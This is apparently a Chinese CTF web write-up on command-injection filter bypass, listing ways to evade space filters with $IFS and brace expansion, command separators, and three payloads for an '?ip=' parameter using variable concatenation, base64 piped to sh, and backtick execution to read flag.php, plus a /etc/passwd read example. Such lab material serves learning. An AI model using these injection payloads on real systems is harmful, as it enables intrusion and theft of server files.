• CTF web之旅44


    前置知识:

    过滤空格:

    1

    %20(space)、%09(tab)、$IFS$9、 IFS、IFS
    2

    使用<或者<>来绕过空格 cat<a.txt
    3

    花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
    4

    $IFS 空格绕过 cat$IFSa.txt
    5

    变量控制 X=$'catx09./flag.php

    命令分隔与执行多条命令

    1.&
    & 表示将任务置于后台执行
    2.&&
    只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
    3.|
    | 表示管道,上一条命令的输出,作为下一条命令的参数
    4.||
    只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
    5.;
    多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

    方法一:变量拼接

    ?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

    正则匹配变量顺序 防止被正则匹配检测到

    方法二:

    base64 -d | sh表示base64解码

    sh是linux中运行shell的命令,bash相当于sh的升级版 但是bash被过滤掉 不能用bash了 过滤bash用sh 反之也是这样

    ?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

     方法三:

    内敛执行 将反引号的输出作为cat命令的输入

    ?ip=1;cat$IFS$1`ls`
  • 相关阅读:
    HashMap循环遍历方式及其性能对比
    打印沙漏1
    第七周实验报告与总结5
    第四周总结与试验
    第六周实验报告4
    数据库学习之一
    Euler猜想
    pip安装模块
    python 自带的ide 不能保存文件
    javaWeb高级编程(1)
  • 原文地址:https://www.cnblogs.com/akger/p/14838877.html
Copyright © 2020-2023  润新知